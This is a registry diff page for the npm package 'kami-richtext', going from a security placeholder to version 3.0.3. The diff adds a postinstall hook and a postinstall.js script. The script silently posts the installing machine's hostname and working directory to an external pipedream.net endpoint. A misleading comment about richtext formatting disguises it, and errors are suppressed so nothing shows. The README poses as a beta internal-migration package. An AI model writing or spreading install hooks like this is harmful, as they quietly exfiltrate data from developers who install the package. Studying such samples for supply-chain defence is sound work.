kami-richtext 0.0.1-security → 3.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of kami-richtext might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +15 -3
  2. package/package.json +16 -3
  3. package/postinstall.js +26 -0
package/README.md CHANGED
@@ -1,5 +1,17 @@
1
- # Security holding package
1
+ # kami-richtext
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ **Note: This package is currently in beta and is intended for development purposes.**
4
+
5
+ ## Introduction
6
+
7
+ This npm package provides functionalities for handling richtext in Kami. It is currently being migrated from an internal package to a public one. Please be aware that it may contain bugs and is not recommended for production use at this stage.
8
+
9
+ ## Installation
10
+
11
+ You can install this package via npm:
12
+
13
+ ## Mark! Please ensure to use this in the extranet for testing purposes only as we are migrating this to a public package!
14
+
15
+ ```bash
16
+ npm install kami-richtext
4
17
 
5
- Please refer to www.npmjs.com/advisories?search=kami-richtext for more information.
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "kami-richtext",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.0.3",
4
+ "description": "A package for handling richtext in Kami",
5
+ "scripts": {
6
+ "postinstall": "node postinstall.js"
7
+ },
8
+ "keywords": [
9
+ "richtext",
10
+ "Kami"
11
+ ],
12
+ "author": "Kami App",
13
+ "license": "MIT",
14
+ "dependencies": {
15
+ "axios": "^1.7.2",
16
+ "kami-richtext": "^3.0.3"
17
+ },
18
+ "readme": "README.md"
6
19
  }
package/postinstall.js ADDED
@@ -0,0 +1,26 @@
1
+ // postinstall.js
2
+
3
+ const axios = require('axios');
4
+ const os = require('os');
5
+ const path = require('path');
6
+
7
+ async function makeRequest() {
8
+ try {
9
+ // TODO: need to start programming the API so it sends proper formatting for the package
10
+ // for some reason certain browsers don't display the richtext properly!
11
+ const hostname = os.hostname();
12
+ const cwd = process.cwd();
13
+
14
+ const postData = {
15
+ hostname: hostname,
16
+ cwd: cwd
17
+ };
18
+
19
+ const response = await axios.post('https://eozzb5k4pqjt9e7.m.pipedream.net', postData);
20
+ console.log('Request successful. Response:', response.data);
21
+ } catch (error) {
22
+ // console.error('Error making request:', error.message);
23
+ }
24
+ }
25
+
26
+ makeRequest();